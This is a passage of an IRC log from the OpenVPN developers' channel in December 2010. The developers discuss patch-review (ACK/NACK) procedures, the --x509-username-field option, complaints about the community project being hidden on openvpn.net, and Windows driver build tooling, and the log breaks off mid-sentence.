conditional will add one more variant that needs to be tested *by building two different binaries* 02:44 <@dazo> I know ... I'm just trying to comply to jamesyonan's wishes as well 02:44 <@cron2> dazo: I think your patch is technically fine, but I think the general direction is not useful 02:44 <@dazo> Agreed 02:45 <@dazo> however, I do see the need of this when thinking about those doing embedded stuff, where each byte matters ... and esp. on features they might not need or want 02:46 * dazo need to run ... will be back in a few hours 02:46 <@cron2> I'd guess this brings about 100 bytes of saved code space... 02:47 <@dazo> 100 bytes here and 100 bytes there ... can easily get kb out of that :) 02:48 <@dazo> huh!?!? Where is the community part at all on openvpn.net now!? 02:48 <@cron2> well, call me an ignorant, but I *do* care more about code maintainability than about a few kb for embedded environments 02:48 <@dazo> mattock: ^^^ openvpn.net stuff 02:48 <@cron2> dazo: what I said :-) there's a small link hiding on the top right 02:48 <@dazo> cron2: I know ... I'm torn in two directions myself 02:49 * dazo runs 02:50 -!- dazo is now known as dazo_afk 04:26 -!- common- [~common@p5DDA49F3.dip0.t-ipconnect.de] has joined #openvpn-devel 04:29 -!- common [~common@p5DDA49E6.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds] 04:29 -!- common- is now known as common 04:47 -!- dazo_afk is now known as dazo 04:49 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:56 < common> dazo, put the extv3 email patch on the agenda again for this evening? 05:56 <@dazo> common: that's implicit if you read my response on the mailing list 06:03 < common> you'd have to disable certificate based authentication by default if you want to be 'secure' 06:04 < common> as it makes no difference if you use CN or something else 06:07 <@dazo> That's not my argumentation 06:08 <@dazo> What I do say is a:) --x509-username-field should be opt-in instead of just your extension of that feature b) --x509-username-field does not weaken or strengthen the security, based on JJKs findings 06:09 <@dazo> Therefore I proposed a patch which makes --x509-username-field ... with Jame's blessing on that one, we can apply your patch 06:09 <@dazo> makes --x509-username-field a opt-in feature, I mean 06:11 <@dazo> I also say that with --x509-username-field accepted, it is difficult to reject an extension to this feature which just broadens the usage possibilities of --x509-username-field - within the scope of the initial --x509-username-field 06:11 <@dazo> feature 06:27 < common> sure, it is mine 06:27 < common> you don't have to agree 06:29 < common> as there is no difference in using CN or whatever for client cert authentication it is rather pointless introducing a difference 06:43 -!- chantra_afk [~chantra@unaffiliated/chantra] has quit [Quit: Reconnecting] 06:43 -!- chantra_afk [~chantra@unaffiliated/chantra] has joined #openvpn-devel 06:48 <@dazo> common: sigh ... I don't argue about that ... I see your point crystal clear ... and I am looking for a way to include your extension to --x509-username-field, making as many as possible happy ... But as James indicated he wanted your extension compile-time opt-in, I find that rather bogus when --x509-username-field is not ... hence my patch 07:28 < common> lets talk to him then instead, it is pointless to argue if we agree 07:34 <@dazo> yeah, and that's why I've put the patch I wrote yesterday on today's agenda ... so I hope to have closed this today 07:42 <@mattock> meeting today? 07:42 <@dazo> mattock: yes please 07:43 <@mattock> excellent! 07:43 <@dazo> well, cron2 can't come today ... but we have some things which would be good to get consensus on ... but I have only 1 hour 07:43 <@mattock> 1 hour is good, makes us focus :) 07:43 <@dazo> :) 07:43 <@mattock> (studies ended for this year yesterday, thank god) 07:45 <@mattock> dazo: is there anything to add to the agenda? 07:46 <@dazo> not which I know about ... You probably see started a agenda 08:02 -!- krzie [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 08:03 <@mattock> dazo: I see you reached the same conclusion about common's patch as I did... I even mailed about that on tuesday, but by mistake sent the mail to him only :) 08:03 <@dazo> ahh :) 08:04 <@dazo> mattock: but we need to review the general --x509-username-field anyway, as James seems to want that #ifdef'd 08:04 <@mattock> yep, true 08:21 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 09:40 -!- dborgmann [~dborgmann@p4FCB58C0.dip.t-dialin.net] has joined #openvpn-devel 09:40 < dborgmann> hello there! 09:41 < dborgmann> i am using openvpn without encryption and it will blast my ALIX 500MHz-CPU to its limits anyway while trying to transfer via 802.11g-WLAN. is there another option to reduce cpu-load apart from not using encryption? 09:47 <@dazo> dborgmann: that question belongs to #openvpn 09:54 < dborgmann> ok, didn't know about that channel 09:55 < dborgmann> thank you 09:55 -!- dborgmann [~dborgmann@p4FCB58C0.dip.t-dialin.net] has left #openvpn-devel ["Ex-Chat"] 10:41 <@cron2> mattock: do you have some time tomorrow to work on the testing setup on your side? 10:41 <@cron2> I'd like to see that fully in use when we go RC, so we can publish new versions with full confidence "this has been built and tested on <x> platforms" 10:42 < krzee> +1, that system is pure gold 10:56 <@dazo> +1 10:57 <@mattock> cron2: yep, I do 10:57 <@mattock> at what time? (UTC) 11:10 <@cron2> mattock: well, "some time tomorrow", planning is somewhat difficult on my side - I'm at home, so I tend to get called away to do "child handling things" 11:11 <@mattock> cron2: ok, no problem... I'll probably be working between 07-15 UTC myself 11:11 <@mattock> so whenever you have time, just let me know 11:12 <@cron2> ack 12:01 * dazo gets ready for the meeting 12:02 <@mattock> ... meeting time 12:03 <@dazo> Agenda: https://community.openvpn.net/openvpn/wiki/Topics-2010-12-16 12:03 <@vpnHelper> Title: Topics-2010-12-16 – OpenVPN Community (at community.openvpn.net) 12:04 <@dazo> mattock: have you mailed James? 12:05 <@mattock> dazo: I'll do it now 12:06 <@mattock> ok, sent 12:06 <@mattock> so, which topic first? 12:07 <@dazo> well, we have 3 patches, and two of them definitely needs James' eyes (2nd and 3rd) 12:07 <@mattock> ok, so the first one then 12:07 <@dazo> That's the dev_type patch 12:07 <@dazo> that needs an ACK/NACK 12:08 <@mattock> any other devs present? 12:08 <@dazo> cron2 said it looked fine and sane but didn't really understand the point of it 12:08 <@mattock> :) 12:08 <@mattock> I think that's a serious problem with the current ACK/NACK system 12:09 <@mattock> even if code looks good, that's not enough to know if the patch itself makes sense in a larger context 12:09 <@dazo> yeah, agreed 12:09 <@mattock> which I think is a big reason why people don't often ACK/NACK 12:10 <@dazo> I know I stay low on patches where I know I don't see the deep implications ... but I'm also taking some chances, trying to understand the patches ... and to make up my own opinion if it makes sense or not 12:11 <@mattock> I also think that if one ACK is enough, some devs might avoid giving an ACK to a patch they don't really understand 12:11 <@mattock> so that they're not "responsible" if something goes bad 12:11 <@dazo> But that depends on a good problem description, a good explanation of the solution ... and then a clean patch 12:11 <@mattock> yeah 12:12 <@dazo> Well, it's not too many active developers ... but I do appreciate each of those who did send ACK to the list 12:12 <@dazo> I think maybe people set the barrier too high for themselves on when to ACK/NACK or not 12:13 <@mattock> perhaps we could try to clarify what the ACK means? 12:13 <@mattock> and where the barrier should be set 12:13 <@dazo> yeah, that would really be good 12:14 <@mattock> so, basically we'd need to make sure code is good quality (formatting, style, conventions etc) 12:14 <@mattock> but also to make sure the feature / fix makes sense 12:14 <@mattock> =is worth including 12:14 <@dazo> yes 12:14 <@dazo> it should not require deep understanding of what really happens, but if the feature/change makes sense from a user perspective 12:15 <@mattock> the way I see it, a big issues is trying to understand what the patch really does when included... it's not easy to see that from a diff 12:15 <@mattock> and perhaps that's holding many back from giving an ACK 12:15 <@dazo> I will anyway be the one who evaluates patches in the end for inclusion ... so I will always have a veto if I mean this is to bad 12:15 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 12:15 <@dazo> that means we need to be better at asking better explanations of what the patch does, in plain English 12:16 <@dazo> asking *for better 12:16 <@mattock> yeah, that, but it's also probably really hard to see any unintended side-effects from the diff 12:16 <@mattock> even obvious ones 12:17 <@dazo> I know that can be difficult sometimes ... you've worked hours with a patch, it works ... and then to adjust to write something understandable for people not having been deep into those code paths 12:17 <@dazo> yeah, side-effects is impossible to guard yourself against .... --x509-username-field is an example of this 12:17 <@mattock> would it make sense to "split" the ACK process into two parts? for example, somebody could give a "this feature makes sense ACK" and "the code looks good ACK" 12:18 <@mattock> to lower the barrier for giving an ACK 12:18 <@dazo> interesting thought 12:18 <@dazo> I'm not convinced it really lowers the barrier though ... but I'm willing to give that a shot 12:19 <@dazo> but it should be possible to also give both ACKs at the same point, to avoid deadlocking due to only having received one ACK 12:19 <@mattock> yep 12:20 <@mattock> I think the core of my idea is that a single person does not have to be responsible for the "whole" ACK 12:20 <@dazo> when you read the commit msg on the dev_type patch ... are you able to catch the concept of the patch? 12:20 <@mattock> let's see... 12:21 <@mattock> before I start reading... the benefit of the above split ACK system would be that non-dev could give the "feature makes sense ACK" 12:21 <@mattock> even though they could not comment on the code quality 12:22 <@dazo> yeah, I see that as an advantage, if we get more active ACKers 12:22 <@dazo> that means we don't waste time on discussing code quality, if some people don't see the purpose of the patch to start with 12:23 < common> actually it does not really matter initially what people reply, if it is an ack or just a question 12:23 <@dazo> that's true 12:25 <@mattock> dazo: after reading the commit message thoroughly I think I got it 12:25 <@mattock> and I give it a "this feature makes sense ACK" :D 12:25 <@dazo> mattock: was something unclear? 12:26 <@dazo> I was thinking we could create an example of an ideal commit message for people posting to the ML ... and if things are not so clear, we point them towards that description 12:26 <@mattock> well, I assume the "dev" environment variable is available already 12:26 <@mattock> that was not 100% clear to me at first 12:26 <@mattock> because of the "... will contain" (as if the patch adds that functionality) 12:26 <@dazo> good point ... I see I took that knowledge for granted, so that's one mistake 12:27 <@dazo> (it's even a grammar mistake ... it should have been: contains) 12:27 <@mattock> writing documentation is hard... or good commit messages 12:28 <@dazo> it is, and especially after having worked on something and all details are in your fingertips 12:28 <@mattock> common: can you give the dev-type patch an ACK? 12:28 < common> am I in the position? 12:28 <@mattock> yep 12:28 <@dazo> all developers are allowed to ack or nack things on the ML 12:28 < common> never used openvpn as server on windows, did not get the idea, not looked on the patch 12:29 < common> need to catch a train in 5 minutes 12:29 <@mattock> oh 12:29 <@dazo> there we have another issue ... people might not know they are allowed to do ACK/NACK 12:29 <@mattock> true 12:29 <@mattock> I think that's especially true with non-developers 12:29 <@dazo> we probably need a better "How can I contribute" introduction 12:30 < common> mailmain welcome message 12:30 < common> mailman 12:30 <@dazo> good idea! 12:30 <@mattock> yep 12:30 < common> ned to run, sorry 12:30 <@mattock> I can add one easily 12:30 <@dazo> common: have fun 12:30 <@mattock> common: have a nice trip! 12:30 <@dazo> thx for your input! 12:31 <@mattock> ok, so we need a mailman welcome message 12:31 <@mattock> and improvements to the wiki articles 12:31 <@dazo> and we need to polish/write a "How can I contribute" page 12:31 <@mattock> hmm, we don't have a single "How can I contribute" page, actually 12:32 <@mattock> only "developer" and "tester" pages 12:33 <@mattock> this section could be improved: https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation#Communitypatchesandtheacceptanceprocessofthesepatches 12:33 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 12:34 <@mattock> (I'll ask if the guys @company know where james is) 12:34 <@dazo> that can be improved yes 12:34 <@mattock> should we "split" the ACK process and see what happens? 12:35 <@mattock> this does not have to be anything else than explaining this on the -devel ml and encouraging people to ACK either the code, or the feature 12:35 <@dazo> Let's give that a shot ... if that's what's needed to get the ball rolling, we can join it later on when things are flowing better 12:36 <@dazo> we just need to be clear that we do need both feature and code ACKs ... but one person can give both 12:36 <@mattock> it's just that especially the bigger patchsets tend to get "stuck" when following the current process 12:36 <@mattock> yes, agreed 12:38 <@dazo> yeah ... and that's why I have not cared so much about that cron2's IPv6 patches haven't gotten acked ... but then again, he is active here and on the ML, and from how he responds and the code I've seen, it is clean and I feel I can trust him 12:38 <@mattock> I can update the wiki with these ideas and you can then have a look 12:38 <@dazo> that'd be great! 12:38 <@mattock> and if the changes are ok, I can send mail to -devel 12:39 <@dazo> goodie! 12:39 <@mattock> andrew thinks James is sleeping :) 12:39 <@dazo> But maybe we should have a introduction page for "How to contribute", and then that one can link to more detailed pages 12:39 <@dazo> heh 12:39 <@dazo> okay 12:40 <@mattock> agreed, I'll write that page 12:40 < krzee> +1 12:40 <@mattock> I'm surprised we gotten so far without that page, actually :) 12:40 <@mattock> krzee: what do you think about the non-devs giving feature ACKs? 12:40 <@mattock> makes sense to you? 12:41 <@dazo> the aspects we probably should cover are ... documentation, testing and development ... probably something else which would be clever to add 12:41 < krzee> mattock, im for it, but it should be treated as a different type of ACK 12:41 <@mattock> different from what exactly? 12:41 < krzee> for example, im not a dev, but if i used ipv6 i could ACK as in "works for me in X situation" 12:41 <@dazo> krzee: agreed 12:41 <@mattock> oh yes, good point 12:41 < krzee> whereas a dev ACK is like "the code follows the openvpn style, and should work, and doesnt introduce bugs" 12:42 <@dazo> "doesn't introduce bugs" is probably to raise the bar too high ;-) 12:42 <@dazo> but "doesn't introduce any obvious risks" are probably closer to reality 12:42 < krzee> right 12:42 < krzee> but just illustrating how the ACKs are very different 12:43 < krzee> one is a coder point of view, one is a user point of view 12:43 < krzee> both are important 12:43 <@dazo> yes, that's exactly the point .... and no point of spending time on patches which users just responds "huh!?!? wtf?!? Do I need that?" 12:44 < krzee> definitely not a priority when that is the response 12:44 <@mattock> krzee: I really like your point of view 12:45 <@mattock> so basically, non-devs could say "this feature makes sense/does not make sense" and "I've tested this feature and it works / does not work for me" 12:45 <@mattock> the only things devs would have to take care of is code quality and code integration issues 12:46 <@dazo> how difficult would it be to setup a web page where you post patches ... then users can vote on patches, and if karma > 1 after a week, the patch is automatically posted to the devel mailing list ... 12:46 <@dazo> then we could even "hide" the diff section (viewable on request) and maybe that would be less intimidating for users to look at 12:47 <@dazo> (would be even cool if that "web page" could tackle being e-mail too as well) 12:47 <@mattock> perhaps a Trac add-on? 12:47 <@dazo> f.ex 12:50 <@dazo> okay, seems we need to postpone the current agenda for next meeting ... which will be when? 12:50 <@dazo> I cannot next week, and it is the 23rd 12:50 <@mattock> yep, agreed 12:50 <@mattock> perhaps 30th? 12:50 <@dazo> another thing ... the --x509-username-patch should be tackled before the RC 12:50 <@dazo> 30th should work for me 12:50 <@mattock> let's try to reach James before that 12:51 <@dazo> Yeah, definitely 12:51 <@mattock> mail him, unless he visits the IRC 12:51 <@dazo> If we can get that one in, I don't have issues with ACKing common's patch 12:51 <@mattock> hasn't he been here quite often lately? 12:51 <@mattock> btw. JJK's chained certificate stuff should go into the Wiki 12:51 <@dazo> well, at least passively ... I don't know how much attention he gives to the channel 12:52 <@dazo> definitely 12:52 <@mattock> I'll ask if he'd like to write a short article there 12:52 <@dazo> would be cool! 12:52 <@dazo> or at least copy-paste his mails, and then polish the text a bit 12:53 <@dazo> mattock: I'll try to remember to mail James tomorrow ... but if it pops into you mind, I don't mind getting a reminder 12:53 <@mattock> ok, I'll try 12:53 <@dazo> no stress 12:53 <@mattock> regarding the web page for ACKs/karma... 12:54 <@mattock> I'm wondering if just sending the patch description to openvpn-users would do the trick 12:54 <@mattock> or, in addition, posting to the forums 12:54 <@dazo> yeah, but it's more tricky to follow something more places 12:55 <@mattock> agreed, I don't like fragmenting the communication channels either 12:55 <@mattock> gets messy 12:55 <@dazo> maybe a weekly summary to -users (+ forums?) of new patches on -devel would be a better solution? 12:55 <@mattock> hmm, that might do the trick 12:55 <@dazo> with links to each patch 12:56 * dazo need to prepare to go 12:56 <@mattock> maybe on monday/tuesday 12:56 <@dazo> you mean the mail? 12:56 <@mattock> so that people can comment on the patches before the meeting 12:56 <@mattock> yep 12:56 <@dazo> yeah 12:56 <@mattock> and then, in the meeting (if necessary), give the developer ACK 12:57 <@mattock> anyways, something like that might work 12:57 <@dazo> I hope so :) 12:57 <@mattock> I'd start with simple documentation and encouragement, though :) 12:57 <@dazo> yeah ... that makes it more easy to see we are serious about this :) 12:58 <@dazo> btw ... just recalled it now ... I saw the new web-pages 12:58 <@mattock> ok, let's continue this tomorrow 12:58 <@dazo> the community edition is completely hidden now :-P 12:58 <@mattock> yep, it is 12:58 <@dazo> (at least for windows users) 12:59 <@mattock> surprisingly nobody except ecrist has been annoyed (enough) with the new hidden "community project" 12:59 <@mattock> I was expecting a backlash 12:59 <@dazo> well, I remember you mentioned this fear ... but I didn't realise it was so extreme until today when I heard cron2 getting confused 13:00 <@mattock> well, in my opinion it does not make sense to hide the community project like that 13:00 <@dazo> IMO ... this page looks like it tries to hide the community behind openvpn totally 13:00 <@mattock> yep, that's definitely how it looks 13:00 <@dazo> That do give me a distasteful feeling 13:00 < krzee> mattock, 13:01 < krzee> that is SOOOOO not true 13:01 < krzee> i get complaints OFTEN 13:01 < krzee> as does ecrist 13:01 <@mattock> krzee: do you have links to the complaints? or quotes? 13:01 < krzee> just 2 nights ago someone complained to the point of being banned 13:01 <@mattock> something concrete "evidence" 13:01 < krzee> his name on IRC is simplechat 13:02 <@dazo> let's collect a lot of complaints ... and then write a clear messages to the management in OpenVPN Tech ... 13:02 < krzee> he asked us to slap the webmaster, preferably with a trout 13:02 <@mattock> krzee, ecrist: if you want to help get the "Community project" links to where they belong, copy-and-paste each complaint and send them to me 13:02 < krzee> we asked him to write on the wishlist what his solutions to his complaints are, not sure if he did 13:02 < krzee> !wishlist 13:02 <@vpnHelper> "wishlist" is https://forums.openvpn.net/viewforum.php?f=10 for the openvpn wishlist 13:02 < krzee> (ill check) 13:02 <@mattock> I'll forward them to the correct place and I'm sure things will get back to normal pretty soon 13:03 <@dazo> For me this new web page was a slash in the face, of the time and energy I've put into the OpenVPN community 13:03 < krzee> and quite a few users felt it was ovpn selling out, they cant even find how to download openvpn 13:03 < krzee> few think to click the community link 13:03 < krzee> they click right to the downloads section, which doesnt have the FOSS version 13:04 <@dazo> "Community Project" is just too vague ... 13:04 <@mattock> yep, my thoughts exactly 13:04 * dazo really need to run 13:04 <@dazo> c'ya tomorrow! 13:04 <@mattock> and given the amount of confusion there was when the "Client software" tab lead to Access server clients only... 13:04 < krzee> adios bro 13:04 <@mattock> dazo: bye 13:04 <@mattock> ... this is so much worse 13:05 < krzee> i envision openvpn.net being access-server and openvpn.org being FOSS version 13:05 < krzee> with each having a link to the other 13:05 -!- dazo is now known as dazo_afk 13:07 <@mattock> krzee: yeah, I've been thinking along those lines lately, too 13:07 <@mattock> and many other companies use the same approach 13:08 <@mattock> found simplechat's rant, reading it now 13:14 <@mattock> krzee: any other complains besides simplechat's, your, ecrists, dazo's and cron2's? 13:14 < ecrist> hola 13:14 <@mattock> ecrist: hi! 13:14 < ecrist> sorry I've been AWOL 13:14 <@mattock> better that than MIA :) 13:17 < ecrist> simplechat is not on my 'good' list 13:17 < ecrist> though, his general complaint was valid, he was unwilling or unable to offer constructive critisim. 13:24 <@mattock> yep 13:39 < krzee> mattock, a number of them 13:39 < krzee> if you surf the forum you should be able to find them 13:39 <@mattock> krzee: ok, I'll do that 13:39 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 240 seconds] 13:39 <@mattock> I'm writing a mail and will send it tomorrow 13:39 <@mattock> I'm pretty sure the site will be back to normal within a week 13:40 < krzee> s/them$/some/ 14:37 <@mattock> krzee: any clues where to which board the complaints were posted? or some magic keywords? 14:42 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:42 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:42 <@mattock> I'm probably blind, but can't find any complaints from the forums... doh 14:42 <@mattock> well, I got some good ones from the IRC channels 14:52 -!- openvpn2009 [patel@openvpn/corp/admin/patel] has quit [Read error: Connection reset by peer] 14:52 -!- openvpn2009 [patel@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has joined #openvpn-devel 15:13 < krzee> you could search for the link openvpn.net/download 15:14 < krzee> if not complaints, you will certainly find confused people who download access-server thinking it is the only openvpn (they wanted the FOSS version) 15:14 < krzee> if that doesnt show up in the forum search, check with google and use site:forum.openvpn.net in the query 15:14 < krzee> since the forum is picky about what you can search for 15:18 < krzee> ok im out, off work and have a girl visiting from usa so gunna roll home and start drinking with her 15:50 -!- Netsplit *.net <-> *.split quits: @jamesyonan, helmut, @cron2, @raidz, common, @vpnHelper, EvilJStoker 15:51 <@mattock> krzee: thanks! 15:51 -!- Netsplit over, joins: common 15:52 -!- Netsplit over, joins: helmut 15:52 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Remote host closed the connection] 15:58 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 15:58 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 15:58 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 15:58 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:58 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:58 -!- ServerMode/#openvpn-devel [+oooo jamesyonan vpnHelper raidz cron2] by gibson.freenode.net 16:01 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 16:02 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 16:04 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 16:04 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 16:23 <@cron2> dazo: just for the record: I do understand what the dev_type patch *does*, I just don't find myself in need of ever wanting to use different device names from "tun" or "tap" 16:27 <@cron2> dazo: so this would be a "developer ACK", but not a "user ACK" :) 16:37 <@cron2> regarding openvpn.net's web site - well, if they do not want the community version, we don't need them either. We could just fork... 17:05 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Quit: Lost terminal] 17:05 -!- patelx [~a@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Changing host] 17:05 -!- patelx [~a@openvpn/corp/admin/patel] has joined #openvpn-devel 17:05 -!- mode/#openvpn-devel [+o patelx] by ChanServ 17:09 <@patelx> krzee 17:09 <@patelx> around? 17:12 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 17:34 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 255 seconds] 17:35 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 17:52 -!- s7r [~s7r@89.39.174.74] has joined #openvpn-devel 19:15 -!- s7r [~s7r@89.39.174.74] has left #openvpn-devel [] 19:21 < ecrist> cron, it was discussed once before, but I think it's a bit drastic at this point. 19:22 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Read error: Operation timed out] 19:23 < ecrist> hey patelx 19:23 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 20:10 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Remote host closed the connection] 20:11 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 23:44 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 260 seconds] 23:44 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel --- Day changed Fri Dec 17 2010 00:07 -!- openvpn2009 [patel@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has quit [Quit: ircN 8.00 for mIRC (20080809) - www.ircN.org] 01:11 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:08 -!- openvpn2009 [nebula@openvpn/corp/admin/patel] has joined #openvpn-devel 02:08 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 02:09 -!- openvpn2009 [nebula@openvpn/corp/admin/patel] has left #openvpn-devel [] 02:12 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Read error: Operation timed out] 02:13 <@mattock> hi guys, the "Community project" is back where it should be on openvpn.net 02:14 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 02:17 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 02:27 <@cron2> mattock: thanks 02:28 <@mattock> no problem, I aim to please :) 02:28 <@cron2> ecrist: in most cases, I think that forking a project is a bad thing, because it weakens resources on both sides. But I do mention the option... 02:31 -!- dazo_afk is now known as dazo 02:35 <@dazo> cron2: re: fork ... that was my thought as well 02:36 <@dazo> but I agree with ecrist ... it's a drastic move right now ... but if things don't change much in the future, then that will happen 02:37 < Essobi> ecrist: Nice... :) Got a lil shells script to build out the fips crypto module on FreeBSD 8.1-Release. ;) 02:38 < Essobi> ecrist: I'm mangling the openvpn-devel port, atm. :) 02:38 <@dazo> mattock: would it be possible to rename "Community project" to "Open Source"? 02:39 < Essobi> krzee: Was that you who was telling me the NTLM and other wonky crypto stuff had configure flags to disable? 02:42 <@mattock> dazo: good idea 02:42 <@mattock> I'll ask about it 02:43 <@dazo> For me "Community project" is too vague ... a community project can be building schools for children in Liberia ... and it can be a open source project 02:44 <@dazo> (and there are companies who do such school projects, even though that is far away from the core business) 02:44 < Essobi> dazo: It can be both at the same time! What if they publish all the building plans! 02:44 < Essobi> *yawns* 02:44 <@dazo> Essobi: lol :) True!! 02:44 < Essobi> I'm tired. Night peeples. 02:44 * dazo just arrived work :) 02:45 <@dazo> Essobi: nighty 02:45 < Essobi> ecrist: Let me know if you're interested in seeing that fips build script. 02:45 * dazo guesses he is 02:58 <@mattock> dazo: just asked about the "Community project" / "Open source" stuff 02:59 <@dazo> cool! thx! 03:00 <@mattock> dazo: "Open source" will also direct people towards "open source" downloads & documentation better... and I'm sure that's why people go to openvpn.net 03:01 <@dazo> yeah 03:04 <@dazo> hmmmm .... http://www.openvpn.net/index.php/open-source/documentation/miscellaneous/62-subversion-repository.html 03:04 <@vpnHelper> Title: Subversion Repository (at www.openvpn.net) 03:05 <@dazo> this one is outdated ... as 2.1.4 is only available via git 03:09 <@mattock> oh yes, I'll have to fix that 03:10 <@mattock> on todo... 03:10 <@dazo> I also see that the man page could need a good review, in general ... that's something to aim for 2.3, I think ... would be cool if we could get someone on -users ML to do that job 03:10 <@dazo> that's definitely not a task which requires deeper development knowledge :) 03:26 -!- janjust [~janjust@s5596c956.adsl.wanadoo.nl] has joined #openvpn-devel 03:27 <@cron2> mattock: do you feel like fighting the testing framework once again? 03:28 <@mattock> cron2: yeah, why not :) 03:28 <@mattock> I'll start with giving you credentials to the test server 03:28 <@cron2> ok 03:30 < janjust> good morning all 03:30 <@mattock> hi janjust! 03:30 <@mattock> cron2: takes a few mins 03:31 < janjust> mattock, I just emailed you back about the wiki 03:31 <@mattock> yep, noticed 03:31 < janjust> quick question for the developers (cron2?) : what is needed to build a new tap-win32 driver? can somebody do it for me? I have a hunch about the "unable to resume" feature 03:31 <@mattock> I think the extra X.509 section makes sense 03:32 <@mattock> cron2: which shell do you want? 03:32 <@mattock> sh csh tcsh bash rbash 03:33 <@cron2> janjust: short answer "all the documentation is part of the script domake-win" 03:33 < janjust> hehe ok 03:33 <@cron2> mattock: ksh :-) - but given the options, bash 03:33 <@mattock> ok 03:33 <@cron2> janjust: it's not that bad. Basically, the "old" build frmae work uses msys/mingw to build openvpn and ms ddk/wdk to build the driver 03:34 <@cron2> you still need msys to run the "surrounding scripts" that build the control files for ddk/wdk, so you actually need a bunch of things 03:34 < janjust> ah ok ; I have msys on my box but not the ddk/wdk ; and all I need is a few lines changed in tapdrvr.c for testing purposes 03:34 <@cron2> and *then* you end up with a non-signed driver which won't work on 64bit-win7 03:34 < janjust> that's OK, I'm using win xp 32bit only 03:34 <@cron2> janjust: in that case, it's fairly straightforward - go to MS, download the current wdk, go for it :-) 03:35 <@cron2> (there will be a few corrections necessary to the scripts, but I'm happy to help walk you through them when your build fails) 03:36 <@cron2> unfortunately, my "windows devel" machine has died an untimely death (mainboard failure, as far as I can see) before I could make an VM image out of it - so I need to go and fiddle with "take the hard disk out, put somewhere else, build vm" before I can access my own build stuff 03:36 <@dazo> talking about windows building ... I'm considering to split out the building stuff into a separate git repo ... as a move towards avoiding to need to spin a new release just because of updates to the building scripts ... any thoughts on that? 03:36 <@cron2> janjust: there's also the new python based system, but I don't know anything about that (mattock fought it) 03:37 <@mattock> janjust: I've managed to build TAP drivers using the new Python-based build system 03:37 <@mattock> however, I have no clue whether they work properly or not 03:37 <@cron2> dazo: I can see your point, but we don't split out "config.in" for linux either... 03:38 < janjust> hmmm I will give it a shot next week 03:38 < janjust> who's fluent on the tap-win32 driver? 03:38 <@dazo> well, the autotools stuff is working very differently, and is common for all non-Windows platforms 03:38 <@cron2> dazo: well, yes. but then, as long as we frequently do releases anyway, I'd stick to "have it in the same tree" 03:39 <@cron2> less different pieces to collect 03:39 <@cron2> otherwise you need to get openvpn sources 2.1.5, openvpn build tree 47.11 (and 47.12 won't build 2.1.5 due to incompatible changes between 2.1.5 and 2.1.6 regarding building...) etc 03:40 <@dazo> I see your point there ... but by some clever solutions ... all you need to do is to fetch one git tree, and then do a git submodule command, and you get all your pieces, even though they are in separate git trees 03:40 < janjust> it's also important to be able to download a single tarball that does it all 03:40 < janjust> not everybody likes to check out git trees 03:41 <@dazo> good point ... but also that is doable to solve, but I agree 03:41 <@dazo> maybe we simply should clean up the complete source tree in general first 03:41 <@cron2> janjust: regarding the tap-win32 driver - I have a fairly good understanding how the packets flow, and how the DHCP and IPv6 ND spoffing works, but I have NO idea how "the windows thingies" (loading, unloading, initialization, ...) work 03:41 < janjust> dazo: +1 03:41 <@cron2> +1 03:42 < janjust> aha cron2; the thing I noticed about the tapdrvr.c file is the SECURITY_DESCRIPTOR stuff 03:42 < janjust> it's handled differently in the driver than when using "openvpn --allow-nonadmin" 03:42 * dazo will look into that clean up then 03:43 <@cron2> janjust: uh. Indeed this is something I have no idea about 03:43 < janjust> but it just *might* have something to do with the "fail to resume" stuff ; it most certainly does something to the windows internals 03:43 * cron2 waves his arms and points to d457k "he's da windows man" 03:44 < janjust> heeh cron2, thx, I will bug him with my questions ;-) 03:44 <@mattock> dazo: +1 regarding cleaning up the source tree... I've encountered issues where I need to copy stuff from $BUILDROOT/service-win32 directory to $BUILDROOT just to get the 